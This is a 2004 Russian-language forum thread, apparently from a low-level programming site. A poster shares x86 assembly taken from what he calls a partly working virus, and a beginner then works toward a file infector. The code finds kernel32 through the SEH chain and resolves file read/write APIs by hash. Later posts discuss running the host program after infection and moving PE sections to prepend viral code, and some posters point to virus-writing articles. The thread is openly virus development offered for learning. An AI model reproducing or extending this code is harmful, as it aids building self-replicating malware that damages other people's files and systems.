|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Июл 4, 2004 09:41:30 Ну ОК. Порылся у себя в хламе и выкопал нижеследующее:
vx_start:
call get_delta
get_delta:
sub dword [esp],get_delta ; delta offset in [esp]
; ---------------------------------------------------------------------- --------
; --- Find Kernel32 image base ---
; ---------------------------------------------------------------------- --------
xor edx,edx
mov eax,[fs:edx]
dec edx
@@: ; search SEH in Kernel32
cmp [eax],edx
je @F
mov eax,dword [eax]
jmp @B
@@: ; get address of function
mov eax,[eax+4]
xor ax,ax
@@: ; search for 'MZ'
cmp word [eax],'MZ'
je @F
sub eax,10000h ; 64K back
jmp @B
@@: ; search for 'PE'
mov edx,[eax+3Ch]
cmp word [eax+edx],'PE'
je search_APIs ; it's NOT PE-module
jmp vx_ret
; --- Kernel32 image base in EAX ---
; ---------------------------------------------------------------------- --------
; --- Search addresses of necessary API functions ---
; ---------------------------------------------------------------------- --------
CreateFileA equ dword [ebp-1*4]
GetFileSize equ dword [ebp-2*4]
ReadFile equ dword [ebp-3*4]
SetFilePointer equ dword [ebp-4*4]
WriteFile equ dword [ebp-5*4]
CloseHandle equ dword [ebp-6*4]
GlobalAlloc equ dword [ebp-7*4]
GlobalReAlloc equ dword [ebp-8*4]
GlobalFree equ dword [ebp-9*4]
stack equ ebp-9*4 ; stack pointer
delta equ dword [ebp+5*4]
; ---------------------------------------------------------------------- --------
KernelHashTable: ; Hash table for Kernel32 functions
CreateFileA_ dd 860B38BCh
GetFileSize_ dd 0AAC2523Eh
ReadFile_ dd 29C4EF46h
SetFilePointer_ dd 7F3545C6h
WriteFile_ dd 0F67B91BAh
CloseHandle_ dd 0F867A91Eh
GlobalAlloc_ dd 0CC17506Ch
GlobalReAlloc_ dd 0A2CAEB1Ah
GlobalFree_ dd 3FE8FED4h
dw 0FFFFh ; End of KernelHashTable
; ---------------------------------------------------------------------- --------
search_APIs:
mov esi,[eax+edx+78h] ; export table RVA
add esi,eax ; export table VA
add esi,18h
xchg eax,ebx ; save kernel32 image base in EBX
lodsd
push eax ; number of Name Pointers
lodsd
push eax ; Address Table RVA
lodsd
push eax ; Name Pointers RVA
add eax,ebx
push eax ; Index
lodsd
push eax ; Ordinal Table RVA
mov ebp,esp
mov edi,delta
lea edi,[edi+KernelHashTable]
begin_search:
mov ecx,[ebp+4*4] ; get number of Name Pointers
xor edx,edx
search_API_name:
mov esi,[ebp+1*4]
mov esi,[esi]
add esi,ebx
; --- Getting hash-value for API function name ---
xor eax,eax
push eax
@@:
ror eax,7
xor [esp],eax
lodsb
test al,al
jnz @B
pop eax ; get hash value in EAX
; ---
cmp eax,dword [edi]
je ok_api
add dword [ebp+1*4],4 ; increase index
inc edx
loop search_API_name
jmp vx_ret
ok_api:
shl edx,1
mov ecx,[ebp] ; get Ordinal Table RVA
add ecx,ebx
add ecx,edx
mov ecx,[ecx]
and ecx,0FFFFh
mov edx,[ebp+3*4] ; get Address Table RVA
add edx,ebx
shl ecx,2
add edx,ecx
mov edx,[edx]
add edx,ebx
push edx ; save api address in stack
cmp word [edi+4],0FFFFh
je ok
add edi,4
; --- search next api function
mov ecx,[ebp+2*4] ; get Name Pointers RVA
add ecx,ebx
mov [ebp+1*4],ecx ; set new Index
jmp begin_search
; ------------------------------------------------------------------------------
ok:
Код, конечно, не ахти, но для начала пойдет. Медитируй. |
|
|
Дата: Июл 5, 2004 11:27:56 Попробую |
|
|
Дата: Июл 5, 2004 17:39:50 не получается :( |
|
|
Дата: Июл 5, 2004 21:23:57 Ну так я не говорю, что это будет работать! Это просто кусок кода из более-менее рабочего виря. (Вирь не работает, потому что у меня времени на него нет, а вот апишки ищутся стабильно). Код я привел для медитации. В свое время сам также разбирался, так ведь разобрался же! |
|
|
Дата: Июл 6, 2004 10:34:06 блин, а что у меня то не выходит :((( |
|
|
Дата: Июл 17, 2004 13:34:28 2 Wasm - когда на сайте можно ожидать появления материалов с kpnc.opennet? Понятно что скачать можно - но материал вроде всем интересен - да может и автор немного его систематизирует по этому поводу :). Да и еще по поводу Криса как очень плодовитого автора - предлагаю папочку сделать и туда старые статьи положить (всем будет интересно) и самое главное расписание появления новых (с коментами автора - типа упс пишу статью такую - выход книги такойто откладывается или наоборот) - мне бы очень интересно было когда какие труды выходят и где - потому как переиздания книг, новые тома серий кодокопателя, защита CD теперь вот еще статьи новые... Все так вкусно а когда не ведомо :) |
|
|
Дата: Июл 17, 2004 17:06:20 to Xornet 1. ты не туда залез... с такими вопросами.. 2. "клубы" любителей Криса Касперски находятся в других местах.. :)) погугли.. ;-) |
|
|
Дата: Июл 21, 2004 07:04:00 вы лучше бы мне дураку помогли |
|
|
Дата: Июл 22, 2004 11:52:34 Дык мы пытаемся.. Вобще, для начала хорошо бы почитать статьи z0mbie, SBVC и т.д.. Там ведь все это есть и суть технологии проста до тупости. |
|
|
Дата: Июл 23, 2004 07:30:18 Скажи хотя бы названия статей |
|
|
Дата: Июл 23, 2004 13:15:50 К сожалению, названий у меня нет - все лежит одной большой кучей. Насколько я помню, у SBVC (они еще живы вобще?) статьи назывались весьма удобно. Типа: "Поиск базы кернела" или "Поиск адресов АПИ". Надо просто зайти к ним на сайт и залезть в раздел статей. |
|
|
Дата: Июл 24, 2004 07:49:06 так а я незнаю их сайта :(. Ладно хотябы объяснити что делает конкретный код по порядку, please. |
|
|
Дата: Июл 24, 2004 13:41:45 Наконец то, свершилось!!! Я сделал этот долбаный поиск АПИ, но теперь проблема - как запустить прежнюю программу |
|
|
Дата: Июл 25, 2004 06:34:21 Блин, я и это сделал, но теперь другая проблема. Если я буду сдвигать все секции вперёд, а в начало запишу свою проблем не будет? И ещё как обращаться к глобальным переменным? |
|
|
Дата: Авг 1, 2004 07:08:47 К глобальным переменным я уже нашёл подступ :)). А вот секции сдвигать не буду... много гемора:(( |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.061 |